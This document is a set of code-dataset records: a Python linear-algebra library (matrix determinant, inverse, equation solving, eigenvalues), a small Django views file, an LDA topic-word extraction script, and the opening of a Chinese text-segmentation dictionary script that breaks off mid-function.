ValueError(EXCEPTION_MSG(\"__rpow__\"))\n\n def __getitem__(self,index):\n \"\"\"Return an element of the matrix\n\n A = Matrix([\n [1,2,3],\n [4,5,6],\n [7,8,9]\n ])\n\n In [1]: A[0][2]\n Out[1]: 3 \n \"\"\"\n return self.rawMatrix()[index]\n\n def appendCollumn(self,collumn : list) -> None:\n assert len(collumn) == len(self.colls(0)), \"New Collumn must be of the same size as all the other collumns\"\n new_matrix = [item[:] for item in self.rawMatrix().copy()]\n for i in range(len(collumn)):\n new_matrix[i].append(collumn[i])\n return Matrix(new_matrix)\n\n def transpose(self):\n \"\"\"Evaluates the function adjugate(self)\"\"\"\n return adjugate(self)\n \n def determinant(self):\n \"\"\"Evaluates the function determinant(self)\"\"\"\n return determinant(self)\n\n def minors(self):\n \"\"\"evaluates the function MatrixOfMinors(self)\"\"\"\n return MatrixOfMinors(self)\n\n def cofactors(self):\n \"\"\"evaluates the function MatrixOfCofactors(self)\"\"\"\n return MatrixOfCofactors(self)\n\n def inverse(self):\n \"\"\"evaluates inverse(self)\"\"\"\n return inverse(self)\n\n def trace(self):\n \"\"\"evaluates Trace(self)\"\"\"\n return Trace(self)\n\n def swap(self,Row1 : int,Row2 : int):\n \"\"\"Swaps 2 rows given their index\"\"\"\n val_0=[item for item in self.rawMatrix()[Row1]]\n val_1=[item for item in self.rawMatrix()[Row2]]\n self.rawMatrix()[Row1] = val_1\n self.rawMatrix()[Row2] = val_0\n\n def solve(self,Output : Vector,unknowns : Union[tuple,list],useRef=False) -> dict:\n \"\"\"Solves the system of linear equations represented by the current Matrix\\n\n An 'Output' Vector should be provided in order for the augmented Matrix to complete,\\n\n and also the Name of the unknowns should be provided in order to receive the solutions in order\\n\n You can also specify useRef=bool on wheter you want to use Row reduction, (if it is et to false\n it uses Cramer's rule)\n\n EXAMPLE : \n A = Matrix([\n [1,2],\n [3,4]\n ])\n\n unknowns = ('x','y')\n output = Vector([5,11])\n solution = A.solve(output,unknowns)\n print(solution)\n\n OUTPUT :\n {'x': 1.0, 'y': 2.0}\n \"\"\"\n if not useRef:\n return SolveCramer(self,unknowns,Output)\n return solveREF(self,unknowns,Output)\n\n def ref(self):\n \"\"\"Returns the Redcued Echelon Form of the Matrix\"\"\"\n return ref(self)\n\n def CharacteristicPolynomial(self):\n \"\"\"Returns a Polynomial whose Roots are\n the eigenvalues of that Matrix\n \"\"\"\n return CharacteristicPolynomial(self)\n\n def eigen_values(self,iterations : int = 50):\n \"\"\"Find the eigenvalues of the Matrix\n given that it is square\\n\n \"\"\"\n return eigenValues(self,iterations)\n\n def rank(self):\n \"\"\"Returns the number of linearly independent rows\"\"\"\n return rank(self)\n\n def forEach(self,function : callable,applyChanges : bool = False) -> Union['Matrix',None]:\n \"\"\"For each element of the matrix it performs a given function on that element\\n\n and it either returns a new transform matrix if applyChanges = False,\\n\n otherwise it returns Nothing and applies the changes to the given Matrix\\n\n \"\"\"\n BufferArray = [[] for item in self.matrix]\n i = 0\n for row in self.matrix:\n for num in row:\n BufferArray[i].append(function(num))\n i+=1\n if not applyChanges:\n return Matrix(BufferArray)\n self.matrix = BufferArray\n\ndef removeCollumn(matrix : Matrix,index : int) -> Matrix:\n \"\"\"Returns a reduced collumn version of a Matrix\"\"\"\n raw_matrix = [item[:] for item in matrix.rawMatrix()]\n for row in raw_matrix:\n row.pop(index)\n return Matrix(raw_matrix)\n\ndef determinant(matrix : Matrix) -> float:\n dimensions = matrix.__len__()\n if not matrix.is_square():\n raise ValueError(\"Cannot compute determinant of non square matrix : {}\".format(dimensions))\n if dimensions[0] == 2:\n return matrix.rawMatrix()[0][0] * matrix.rawMatrix()[-1][-1] - matrix.rawMatrix()[0][-1]* matrix.rawMatrix()[-1][0]\n raw_matrix = matrix.rawMatrix()\n tmp = [item[:] for item in raw_matrix]\n tmp.pop(0)\n i = 0 \n STORAGE = []\n for i in range(matrix.__len__()[0]): #Loop throw the first row\n y = removeCollumn(Matrix(tmp),i)\n multiplier = raw_matrix[0][i] if (i+1)%2!=0 else -raw_matrix[0][i]\n STORAGE.append(multiplier * determinant(y))\n i+=1\n return sum(STORAGE)\n\ndef MatrixOfCofactors(matrix : Matrix) -> float:\n \"\"\"\n Given any NxM Matrix \\n : \n it reutrns a new Matrix,\n that follows the chessboard pattern\n \"\"\"\n\n if matrix.__len__()[0] == 2:\n raise ValueError(\"Matrix must be more than 2 dimensional\")\n array = [item[:] for item in matrix.rawMatrix()]\n new_array = [[] for item in matrix.rawMatrix()]\n i = 0\n positive = True\n positive_col = True\n for row in array:\n j = 0\n for number in row:\n if positive:\n new_array[i].append(number)\n else:\n new_array[i].append(-number)\n\n if j+1 != len(row):\n positive = not positive\n \n else:\n positive_col = not positive_col\n positive = positive_col\n j+=1\n i+=1\n return Matrix(new_array)\n\ndef adjugate(matrix : Matrix) -> float:\n \"\"\"It transposes a given Matrix,\"\"\"\n array = [item[:] for item in matrix.rawMatrix()]\n arrays = [[] for item in matrix.collsAll()]\n for row in array:\n i = 0\n for num in row:\n arrays[i].append(num)\n i+=1\n return Matrix(arrays)\n\ndef MatrixOfMinors(matrix : Matrix) -> Matrix:\n \"\"\"\n Given an square Matrix that is not 2x2 it returns a new Matrix,\\n\n The new Matrix is generated by the determinants generated by the following:\\n\n ** For each item in the Matrix :\n ** 'Hide' the current collumn and row\n ** Now compute the determinant of the remaining Matrix\n \"\"\"\n matrix_len = matrix.__len__()\n if not matrix.is_square():\n raise ValueError(\"Cannot perfrom Matrix of minors on non-square matrix : {}\".format(matrix_len))\n matrix_array = [row[:] for row in matrix.rawMatrix()]\n j=0\n DETERMINANTS = [[] for row in matrix.rawMatrix()]\n for row in matrix_array:\n i = 0 \n reduced = [item[:] for item in matrix_array]\n reduced.pop(j)\n for _ in row:\n x = removeCollumn(Matrix(reduced),i)\n DETERMINANTS[j].append(determinant(x))\n i+=1\n j+=1\n return Matrix(DETERMINANTS)\n\ndef inverse(matrix : Matrix) -> Matrix:\n \"\"\"\n Returns the inverse of a Matrix, if it is invertible (non-zero determinant)\n\n \\n=> Find 'Matrix of Minors'; #New Matrix with the determinants of each item of the array\n \\n=> Find Matrix of co-factors of the previous Matrix; #Alternating chessboard sign\n \\n=> Transpose (adjugate) that Matrix\n \\n=> Multiply by 1 / determinant\n \"\"\"\n assert matrix.is_square() , \"Cannot Invert non square matrix : {}\".format(matrix.__len__())\n if matrix.__len__()[0] == 2:\n raw = matrix.rawMatrix()\n return (1 / determinant(matrix)) * Matrix(\n [[raw[-1][-1],-raw[0][-1]],\n [-raw[-1][0],raw[0][0]]\n ])\n try:\n inverse_determinant = 1 / determinant(matrix)\n except:\n raise ZeroDivisionError(\"Matrix is not invertible due to it's determinant being zero\")\n return inverse_determinant * adjugate(MatrixOfCofactors(MatrixOfMinors(matrix)))\n\ndef cross(vector_1 : Vector,vector_2 : Vector) -> Vector:\n if (type(vector_1),type(vector_2)).count(Vector) != 2:\n raise TypeError(\"Both arguments must be Vectors not {} and {}\".format(type(vector_1),type(vector_2)))\n if (len(vector_1.getMatrix()),len(vector_2.getMatrix())).count(3) != 2:\n raise ValueError(\"Cannot perform cross product on non 3-dimensional Vectors : ({},{})\".format(len(vector_1.getMatrix()),len(vector_2.getMatrix())))\n A = [vector_1.getMatrix(),vector_2.getMatrix()]\n DETERMINANTS = []\n for i in range(3):\n if (i+1)%2==0:\n DETERMINANTS.append(-determinant(removeCollumn(Matrix(A),i)))\n continue\n DETERMINANTS.append(determinant(removeCollumn(Matrix(A),i)))\n return Vector(DETERMINANTS)\n\ndef IdenityMatrix(dimensions : int) -> Matrix:\n if dimensions <= 1:\n raise ValueError(\"Dimensions must be at least 2 (not {}).\".format(dimensions))\n matrix = []\n for i in range(dimensions):\n row = []\n for k in range(dimensions):\n if k == i:\n row.append(1)\n continue\n row.append(0)\n matrix .append(row)\n return Matrix(matrix)\n\ndef Trace(matrix : Matrix) -> Union[int,float]:\n \"\"\"Returns the sum of the diagnals of a matrix\"\"\"\n if type(matrix) != Matrix:\n raise TypeError(\"Cannot only perform 'Trace' operation on {} (not {})\".format(Matrix,type(matrix)))\n if not matrix.is_square():\n raise ValueError(\"Cannot only perform 'Trace' operation square matrices (not {})\".format(matrix.__len__()))\n raw_matrix = matrix.rawMatrix()\n diagnals = []\n i = 0 #Track of row_matrix.index(row)\n for row in raw_matrix: \n j = 0\n for num in row:\n if j==i:\n diagnals.append(num)\n break\n j+=1\n i+=1\n return sum(diagnals)\n\ndef isSwappable(row : Union[list,int]) -> bool:\n for item in row:\n if not isNumber(item):\n return False\n return True\n\ndef swap(matrix : Matrix,row1 : Union[list,int],row2 : Union[list,int]):\n \"\"\"Swapws rows given a list (containg the lements of the row) or the indexes of the rows (RETURNS A COPY OF THE NEW MATRIX)\\n\n it DOESN'T handle duplicates\\n\n if you want no matter what to switch rows use the self.swap() function\\n\n \"\"\"\n assert type(row1) in (int,list) and type(row2) in (int,list), \"Row must either be a list or an index\"\n i = 0\n for row in [row1,row2]:\n if type(row) == list:\n assert isSwappable(row1),\"Instances of classes that are not {} or {} were found\".format(int,float) #Check if it contain numbers\n else:\n if i == 0:\n row1 = matrix[row] #Set it equal to the position\n else:\n row2 = matrix[row]\n i+=1\n rows = [item[:] for item in matrix.rawMatrix()]\n is_duplicate_1 = True if rows.count(row1) > 1 else False\n is_duplicate_2 = True if rows.count(row2) > 1 else False\n if is_duplicate_1 or is_duplicate_2:\n if is_duplicate_1 and is_duplicate_2:\n duplicate = \"Row 1 and Row 2 : {},{}\\n were\".format(row1,row2)\n else:\n duplicate = \"Row 1 : {} was\".format(row1) if is_duplicate_1 else \"Row 2 : {} was\".format(row2)\n\n raise ValueError(f'{duplicate} found more than once in the Matrix.')\n #Get each index\n index_1 = rows.index(row1)\n index_2 = rows.index(row2)\n rows[index_1] = row2\n rows[index_2] = row1\n return Matrix(rows)\n\ndef SwapNoCopy(matrix : Matrix,row1 : list,row2 : list) -> None:\n \"\"\"Swaps the rows of a matrix given a list (DOES NOT CREATE A COPY OF THE MATRIX IT THE OPERATIONS ARE PERFORMED ON THE MATRIX)\"\"\"\n rows = matrix.rawMatrix()\n is_duplicate_1 = True if rows.count(row1) > 1 else False\n is_duplicate_2 = True if rows.count(row2) > 1 else False\n if is_duplicate_1 or is_duplicate_2:\n if is_duplicate_1 and is_duplicate_2:\n duplicate = \"Row 1 and Row 2 : {},{}\\n were\".format(row1,row2)\n else:\n duplicate = \"Row 1 : {} was\".format(row1) if is_duplicate_1 else \"Row 2 : {} was\".format(row2)\n\n raise ValueError(f'{duplicate} found more than once in the Matrix.')\n #Get each index\n index_1 = rows.index(row1)\n index_2 = rows.index(row2)\n rows[index_1] = row2\n rows[index_2] = row1\n return None\n\ndef CreateMatrixPassingCollumns(array_of_arrays : list) -> Matrix:\n \"\"\"\n Instead of passing the rows of the matrix,\n you pass the collumns and it creates the matrix\n [ #C1 #C2 #C3\n [1,2,3],[4,5,6],[7,8,9]\n\n\n [1,4,7],\n [2,5,8],\n [3,6,9]\n\n ]\n \"\"\"\n counts = []\n for row in array_of_arrays:\n counts.append(len(row))\n if counts.count(counts[0]) != len(counts):\n raise ValueError(\"All arrays inside the base array must have equal lenght!\")\n ROWS = [[] for item in range(len(array_of_arrays[0]))] \n for col in array_of_arrays:\n i = 0\n for num in col:\n ROWS[i].append(num)\n i+=1\n return Matrix(ROWS)\n\ndef combine(r1, r2, scalar):\n r1[:] = [x-scalar*y for x,y in zip(r1,r2)]\n \ndef divide_by_dividor(li,scalar):\n li[:] = [x/scalar for x in li]\n\n\ndef ref(matrix : Matrix) -> Matrix:\n \"\"\"Returns the reduced echelon form of a matrix (not RREF it does not handle upper diagnals)\n EXAMPLE : \n Y = Matrix([\n [1,2,3],\n [4,5,6],\n [7,8,9]\n ])\n\n ref(Y)\n\n CI | C1 C2 C3\n R1 | 1.0 1.14 1.29\n R2 | 0.0 1.0 2.0\n R3 | -0.0 -0.0 1.0\n\n \"\"\"\n copy = Matrix([item[:] for item in matrix.rawMatrix()]) #Create a copy of the matrix\n matrix_copy = copy.rawMatrix() \n cur_row=0 #Starting index for rows\n for j in range(0,matrix.collumns): #Iterate as much as the number of collumns\n max_element = abs(matrix_copy[cur_row][j]) #Find the max element\n pos_max = 0\n for i,x in enumerate(matrix_copy[cur_row:]):\n if abs(x[j])>max_element :\n max_element = abs(x[j])\n pos_max = i\n pos_max += cur_row\n temp = matrix_copy[pos_max]\n matrix_copy[pos_max]=matrix_copy[cur_row]\n matrix_copy[cur_row] = temp\n if matrix_copy[cur_row][j]!=0:\n divide_by_dividor(matrix_copy[cur_row],matrix_copy[cur_row][j])\n pivot = matrix_copy[cur_row]\n for i,line in enumerate(matrix_copy[cur_row+1:]):\n if line[j]!=0:\n combine(line,pivot,line[j])\n cur_row+=1\n if cur_row==copy.__len__()[0]:\n break\n return Matrix(matrix_copy)\n\ndef isConsistent(coefficient_matrix : Matrix,augmented_matrix : Matrix) -> bool:\n \"\"\"Determines wheter a system of equations is consistent\"\"\"\n r1 : int = coefficient_matrix.rank()\n r2 : int = augmented_matrix.rank()\n return r1 == r2\n\ndef SolveCramer(matrix : Matrix,unknowns : Union[tuple,list],outputs : Vector, ContinueOnFail : bool = False ) -> dict:\n \"\"\"\n Solves a system of linear equations given The equations in Matrix format, the names of the unknowns and the desired outputs in a tuple\n As the name suggest it uses cramer's rule computing the determinant's of each matrix and dividing the by the determinant of the base matrix\n \\nThe following system of equations:\n -----------\n 2x+y-z=1\n 3x+2y-2z=13\n 4x-2y+3z=9\n ------------ \n \\nWould be translated into this form:\n\n # For each of the coefficients of the equations put them in a Matrix\n matrix = Matrix([\n [2, 1, -1],\n [3, 2, 2],\n [4, -2, 3]\n ])\n\n # Wrap the desired outputs into a Vector \n outputs = Vector([1,13,9])\n\n #Finally wrap your unknowns in a tuple\n unknowns = ('x','y','z')\n\n #Apply cramer's rule\n print(SolveCramer(matrix,unknowns,outputs))\n\n \\nThis would output the following:\n {'x': 1.0, 'y': 2.0, 'z': 3.0}\n\n \\nif there are no solutions or there are infinetely many of them an Exception is raised \n\n \"\"\"\n base_determinant = matrix.determinant() #This is the determinant of the base system that always stays constant\n #If it is 0 either it has no solution or infinite\n if base_determinant==0:\n augmented_matrix = matrix.appendCollumn(outputs.getMatrix())\n assert isConsistent(matrix,augmented_matrix),\"Inconsistent System : 0 Solutions (Coefficient Matrix rank != Augmented Matrix rank)\"\n if not ContinueOnFail:\n raise RuntimeError(\"Root Calclulation Failed : Determinant is 0 and system has infinite solutions (stopped because ContinueOnFail was {})\".format(ContinueOnFail))\n return matrix.solve(outputs,unknowns,useRef=True)\n raw_outputs = outputs.getMatrix()\n determinants = []\n for i in range(matrix.collumns): #3\n new_matrix = [[] for item in matrix.rawMatrix()]\n new_matrix[i].extend(raw_outputs) #Puts the outputs in the right place\n not_to_push = matrix.colls(i)\n j = 0\n for col in matrix.collsAll():\n if col != not_to_push:\n new_matrix[j].extend(col)\n j+=1\n determinants.append(determinant(CreateMatrixPassingCollumns(new_matrix)))\n variables = {}\n \n\n for variable in unknowns:\n variables[variable] = None\n k = 0\n for var in variables:\n variables[var] = determinants[k] /base_determinant\n k+=1 \n return variables\n\n\ndef solveREF(matrix : Matrix,unknowns : Union[tuple,list],Output: Vector, onFailSetConst : Tuple[int,str,float] = 1) -> dict:\n \"\"\"Solves a system of linear equations using backsubtitution,\n after performing row reduction on a given matrix\n \n What to pass in :\n\n - You must pass the equations in Matrix format\n - you must provide the outputs in a Vector object\n - You must provide a tuple or a list of the variable names for your Unknwown\n \n \\nThe following system of linear equations:\n ------------\n 2x+y-z=1\n 3x+2y+2z=13\n 4x-2y+3z=9\n ------------\n Would be transleted into this :\n\n Y = Matrix([ #The basic matrix\n [2,1,-1],\n [3,2,2],\n [4,-2,3]\n ])\n\n unknowns = ('x','y','z') #Each of the unknowns corresponds to a certain collumn\n\n output = Vector([1,13,9]) #The output in Vector format\n \"\"\"\n copy_matrix = Matrix([row[:] for row in matrix])\n collumns = [col[:] for col in copy_matrix.collsAll()]\n output = Output.getMatrix()\n collumns.append(output)\n final_matrix = CreateMatrixPassingCollumns(collumns) #matrix from collumns\n reduced_matrix = ref(final_matrix) #row reduction performed\n #c*z = 0.86 => z = 0.86 / c\n try:\n z = reduced_matrix.index(-1,-1) / reduced_matrix.index(-1,-2)\n except: #No Solutions or infinite\n assert isConsistent(copy_matrix,final_matrix),\"Inconsistent System : 0 Solutions (Coefficient Matrix rank != Augmented Matrix rank)\"\n z = onFailSetConst #NOTE : HERE IF THE MATRIX IS CONSISTENT 1 IS PICKED AS THE FINAL VALUE Z (GIVING 1 OF THE INFINITE SOLUTIONS)\n VALUES = []\n VALUES.append(z) #Begin by having the value of z inside the values\n iterable = list(reversed([row for row in reduced_matrix.rawMatrix()]))\n iterable.pop(0) #We have already found the first parameter\n for row in iterable:\n TMP_SUM = []\n #All the non-zero elements\n target = row.pop(-1)\n sub_argument = [item for item in row if item != 0]\n divisor = sub_argument.pop(0)\n l = 0\n for remaining_num in sub_argument:\n TMP_SUM.append(remaining_num * list(reversed(VALUES))[l])\n l+=1\n VALUES.append( (target - sum(TMP_SUM)) / divisor ) #bring the constants to the other side and divide\n VALUES = list(reversed(VALUES))\n result = {}\n m = 0\n for var in unknowns:\n result[var] = VALUES[m]\n m+=1\n return result\n\ndef Vector0(dimensions : int) -> Vector:\n return Vector([0 for _ in range(dimensions)])\n\ndef rank(matrix : Matrix) -> int:\n \"\"\"\n The number of non-zero rows on the reduced Matrix,\n (Checks if one row is a combination of the other ones)\n \"\"\"\n row_reducted_matrix = ref(matrix)\n __rank__ = 0\n for row in row_reducted_matrix.rawMatrix():\n if row.count(0) != len(row):\n __rank__ +=1\n return __rank__\n\ndef CharacteristicPolynomial(square_maxtirx : Matrix,returnSub : bool = False) -> pl.Polynomial:\n \"\"\"\n Returns a Polynomial whose roots are the eigenvalues of the passed in Matrix,\n if returnSub it will return square_maxtirx - lamda_identity, where the lamda\n identity is the identity matrix multiplied by lamda\n \"\"\"\n assert square_maxtirx.is_square(), \"Non square matrix attempting to find characteristic polynomial\"\n dim = square_maxtirx.__len__()[0] #dimensions\n i_dim = IdenityMatrix(dimensions=dim) #Identity matrix of dimensions N\n lamda_identity = i_dim.forEach(lambda n : n * epsilon) #Multiply lamda with Matrix\n sub = square_maxtirx - lamda_identity #Subtract from base Matrix lamda multiplied\n det = sub.determinant() #The Characteristic Polynomial\n if not returnSub:\n return det #Return only polynomial\n return det,sub #Return determinant and square_matrix - lamda_identity_matrix\n\ndef eigenValues(square_maxtirx : Matrix,iterations : int = 50):\n \"\"\"Returns the eigen values of a given square Matrix\"\"\"\n char_pol = CharacteristicPolynomial(square_maxtirx)\n return char_pol.roots(iterations) #find the roots of the Polynomial\n\ndef substitute(expression : Any,term : Union[float,complex]):\n if not type(expression) == POLY:\n return expression\n return expression.getFunction()(term)\n\ndef EigenVectors(square_maxtirx : Matrix,iterations : int = 50) -> Dict[Union[complex,float],Vector]:\n char_pol = CharacteristicPolynomial(square_maxtirx,returnSub=True)\n sub = char_pol[1]\n eigen_values = char_pol[0].roots(iterations=iterations) #The roots are the eigen Values\n dim = square_maxtirx.__len__()[0] #dimensions\n unknowns = [i for i in range(dim)]\n output = Vector0(dim)\n eigen_values_vectors = {}\n for root in eigen_values:\n m_0 = sub.forEach(lambda num : substitute(num,root)) #Substitute the Eigen Values in the Lamda scaled Identity Matrix\n eigen_vector = m_0.solve(output,unknowns,useRef=True) #Solve the linear system\n eigen_vector = Vector([eigen_vector.get(sol) for sol in eigen_vector])\n eigen_values_vectors[root] = eigen_vector #Eigen value has a coressponding Vector\n return eigen_values_vectors\n\ndef magnitude(vector : Vector) -> Union[float,int]:\n components = []\n for i in range(len(vector)):\n components.append(vector[i]**2)\n return sqrt(sum(components))\n\ndef AngleBetweenVectors(vector_0 : Vector,vector_1 : Vector, degrees : bool = False) -> Union[float,int]:\n a : Vector = vector_0\n b : Vector = vector_1\n div : float = a.dot(b) / (magnitude(a) * magnitude(b))\n return acos(div,degrees=degrees)\n\ndef randomMatrix(size : tuple) -> Matrix:\n \"\"\"Generates a random matrix\n given a tuple in the format\n (rows,collumns)\n \"\"\"\n s = [[] for _ in range(size[1])]\n for _ in range(size[0]):\n i = 0\n for __ in range(size[1]):\n s[i].append(rn.random())\n i+=1\n return Matrix(s)\n\ndef randomVector(size : int) -> Vector:\n return Vector([\n rn.random() for _ in range(size)\n ])\n\nif __name__ == \"__main__\":\n pass","sub_path":"linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":44598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"373802695","text":"from django.shortcuts import render, redirect\nfrom .models import Detail, GetImageSearch, ShowImage\nfrom .forms import DetailForm, PostImageUrlForm\nfrom django.contrib import messages\n# Create your views here.\n\n\ndef IndexView(request):\n return render(request,'index.html')\n\n\n\ndef DetailView(request):\n \n if request.method == \"GET\":\n form = DetailForm()\n \n if request.method == \"POST\":\n form = DetailForm(request.POST)\n if form.is_valid():\n user_info = form.save(commit=False)\n user_info.save()\n messages.success(request,'User Details Saved')\n return redirect('detail')\n\n return render(request,'userauth/detail.html',{'form':form})\n\n\ndef SearchView(request):\n context = {}\n if request.method == \"GET\":\n search_keyword = request.GET.get('search',None)\n if search_keyword:\n qs = Detail.objects.filter(name__icontains=search_keyword)\n context = {'data':qs.all(),\n 'count':qs.count()\n }\n messages.success(request,f'Total no of search result {qs.count()}')\n else:\n messages.warning(request,'Please enter the keyword for search operation')\n\n return render(request,'search/search.html',context)\n\n\ndef get_images(request):\n form = PostImageUrlForm()\n context = {}\n\n \n if request.method == \"GET\":\n all_images = GetImageSearch.objects.filter().all()\n context = { \n 'Images':all_images,\n 'form':form\n }\n \n \n if request.method == \"POST\":\n form = PostImageUrlForm(request.POST,request.FILES)\n if form.is_valid():\n form.save()\n messages.success(request,'Image uploaded')\n redirect('get_images')\n\n return render(request,'userauth/show_image.html',context)\n\n\n\n\n\n\n","sub_path":"Assignment/userapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"400800942","text":"\nfrom tqdm import tqdm\nimport pickle as pk\nfrom random import seed\nimport numpy as np\nimport pandas as pd\nfrom statsmodels.distributions.empirical_distribution import ECDF\nimport copy\nfrom gensim.models.ldamulticore import LdaMulticore\n\ndef ecdf(data):\n # create a sorted series of unique data\n cdfx = np.sort(data)\n ind = np.argsort(data)\n # x-data for the ECDF: evenly spaced sequence of the uniques\n x_values = np.linspace(start=min(cdfx),\n stop=max(cdfx), num=len(cdfx))\n\n size_data = data.size\n y_values = []\n # y-data for the ECDF:-104values = []\n for i in x_values:\n # all the values in raw data less than the ith value in x_values\n temp = data[data <= i]\n # fraction of that value with respect to the size of the x_values\n value = temp.size / size_data\n # pushing the value in the y_values\n y_values.append(value)\n # return both x and y values\n return x_values, y_values,ind\ndef frex(phi,mu,w):\n return 1/(w/phi+(1-w)/mu)\n\ndef topwords(beta,mode = \"freq\",list=None):\n #sorted_phi = np.zeros()\n toplist = []\n topprob = []\n print(beta)\n phi = (beta + model.beta) / (beta.sum(axis=0, keepdims=True) + (model.beta * model._V))\n print(pd.DataFrame(phi))\n if mode == \"freq\":\n toplist = np.argsort(phi)[:,::-1].tolist() # Reverse\n topprob = np.sort(phi)[:,::-1]\n topprob = topprob.tolist()\n elif mode == \"frex\":\n nkv = copy.deepcopy(model.nkv)\n print(\"Mode:Frex\")\n for i in tqdm(range(phi.shape[0])):\n ephi = ECDF(phi[i,:])\n phi[i, :] = ephi(phi[i, :])\n nnkv = copy.deepcopy(model.nkv)\n for i in tqdm(range(model.nkv.shape[1])):\n enkv = ECDF(nnkv[:,i])\n nkv[:,i] = enkv(nnkv[:,i])\n fe = frex(phi,nkv,1)\n print(fe)\n toplist = np.argsort(fe)[:,::-1].tolist() # Reverse\n topprob = np.sort(fe)[:,::-1]\n topprob = topprob.tolist()\n\n import matplotlib.pyplot as plt\n\n\n\n return [toplist,topprob]\n\ndef top_words_table(topwords, jlist=None, type=\"category\",prob=False):\n \"\"\"\n :param topwords: [toplist, topprob] from topwords()\n :param jlist : {1:[*Jan*,*JICFS*,*Jan Name*,*JICFS Name*],2:...}\n :param type : \"category\": convert to category, \"jan\": convert to JAN code\n :return:\n \"\"\"\n k = len(topwords[0])\n words = topwords[0].copy()\n print(\"Start make table....\")\n if prob:\n pass\n else:\n for wk in tqdm(range(len(words))):\n for w in range(len(words[wk])):\n if jlist is not None:\n if type == \"category\":\n tmp = jlist[topwords[0][wk][w]][3]\n elif type == \"jan\":\n tmp = jlist[topwords[0][wk][w]][2]\n words[wk][w] = '[%i] %s' % (topwords[0][wk][w], tmp)\n else:\n words[wk][w] = topwords[0][wk][w]\n words = pd.DataFrame(words).T\n print(words)\n return words\n\n\n\n\nif __name__ == \"__main__\":\n T = 5\n model = LdaMulticore.load('../data/LDA/his_LDA_%i.lda' % T)\n # id2jan -> {1,[*\n #id2jan = pk.load(open('id2jan.p','rb'))\n\n\n top = topwords(model.nkv,\"frex\")\n table = top_words_table(top)\n table.iloc[:20,:].to_csv(\"topwords(1).csv\",encoding=\"utf_8_sig\")\n\n\n\n\n","sub_path":"Utils/topwords.py","file_name":"topwords.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"441203854","text":"# -*- coding: UTF-8 -*-\n\nimport jieba.posseg as psg\nimport jieba\nimport re\nimport findArea\nimport pandas as pd\nimport os\n\nfrequant = 5000000\n\n\"\"\"\ndef changedir(filepath):\n with open(filepath, 'r', encoding='UTF-8') as f:\n need = f.readlines()\n with open(\"G:\\刘宇琦计算机\\python\\\\NLPTest\\\\venv\\Lib\\site-packages\\jieba\\dict.txt\", 'r',encoding='UTF-8') as f:\n jiebadic = f.readlines()\n jiebadic = jiebadic + need\n with open(\"G:\\刘宇琦计算机\\python\\\\NLPTest\\\\venv\\Lib\\site-packages\\jieba\\dict.txt\", 'w',encoding='UTF-8') as f:\n f.writelines(jiebadic)\n\ndef restore():\n with open(\"G:\\lyqcomputer\\树木分析\\dict.txt\", 'r', encoding='UTF-8') as f:\n need = f.readlines()\n with open(\"G:\\刘宇琦计算机\\python\\\\NLPTest\\\\venv\\Lib\\site-packages\\jieba\\dict.txt\", 'w',encoding='UTF-8') as f:\n f.writelines(need)\n\"\"\"\n\n#引入分类词典\nallWordsWeight = pd.read_csv('G:\\lyqcomputer\\树木分析\\devidingDir\\ALLkwordsWeight(DF).csv')\nallWords = allWordsWeight[\"word\"]\nallWordsList=[]\nfor w in allWords:\n s = str(w).replace(\"\\n\",\"\")\n allWordsList.append(s)\n#print(allWordsWeight[\"ye\"][allWordsList.index(\"一年生草本\")])\nwith open(\"G:\\lyqcomputer\\树木分析\\devidingDir\\\\yeDivDir.txt\", 'r',encoding='UTF-8') as f:\n yewords = f.readlines()\n Ly = len(yewords)/100\nwith open(\"G:\\lyqcomputer\\树木分析\\devidingDir\\\\gjDivDir.txt\", 'r',encoding='UTF-8') as f:\n gjwords = f.readlines()\n Lgj = len(gjwords)/100\nwith open(\"G:\\lyqcomputer\\树木分析\\devidingDir\\\\huaDivDir.txt\", 'r',encoding='UTF-8') as f:\n huawords = f.readlines()\n Lhua = len(huawords)/100\nwith open(\"G:\\lyqcomputer\\树木分析\\devidingDir\\\\guoDivDir.txt\", 'r',encoding='UTF-8') as f:\n guowords = f.readlines()\n Lguo = len(guowords)/100\nwith open(\"G:\\lyqcomputer\\树木分析\\directory\\\\tingyongCN.txt\", 'r',encoding='UTF-8') as f:\n tywords = f.readlines()\n\n\nwith open(\"G:\\lyqcomputer\\树木分析\\directory\\\\ye.txt\", 'r',encoding='UTF-8') as f:\n Ayewords = []\n tempAwye = f.readlines()\n for aw in tempAwye:\n aw = str(aw).replace(\" \"+str(frequant)+\"\\n\",\"\")\n Ayewords.append(aw)\nwith open(\"G:\\lyqcomputer\\树木分析\\directory\\\\genjin.txt\", 'r',encoding='UTF-8') as f:\n Agjwords = []\n tempAwgj = f.readlines()\n for aw in tempAwgj:\n aw = str(aw).replace(\" \"+str(frequant)+\"\\n\",\"\")\n Agjwords.append(aw)\nwith open(\"G:\\lyqcomputer\\树木分析\\directory\\\\hua.txt\", 'r',encoding='UTF-8') as f:\n Ahuawords = []\n tempAwhua = f.readlines()\n for aw in tempAwhua:\n aw = str(aw).replace(\" \"+str(frequant)+\"\\n\",\"\")\n Ahuawords.append(aw)\nwith open(\"G:\\lyqcomputer\\树木分析\\directory\\\\guo.txt\", 'r',encoding='UTF-8') as f:\n Aguowords = []\n tempAwguo = f.readlines()\n for aw in tempAwguo:\n aw = str(aw).replace(\" \"+str(frequant)+\"\\n\",\"\")\n Aguowords.append(aw)\n\n\ndef changeAllDirFran(a):\n with open(\"G:\\lyqcomputer\\树木分析\\directory\\\\ye.txt\", 'r', encoding='UTF-8') as f:\n tempAwye = f.readlines()\n with open(\"G:\\lyqcomputer\\树木分析\\directory\\\\genjin.txt\", 'r', encoding='UTF-8') as f:\n tempAwgj = f.readlines()\n with open(\"G:\\lyqcomputer\\树木分析\\directory\\\\hua.txt\", 'r', encoding='UTF-8') as f:\n tempAwhua = f.readlines()\n with open(\"G:\\lyqcomputer\\树木分析\\directory\\\\guo.txt\", 'r', encoding='UTF-8') as f:\n tempAwguo = f.readlines()\n AllDirLyqWords = []\n tempAwgjLyq = tempAwgj\n tempAwguoLyq = tempAwguo\n tempAwhuaLyq = tempAwhua\n tempAwyeLyq = tempAwye\n if(a==\"ye\"):\n 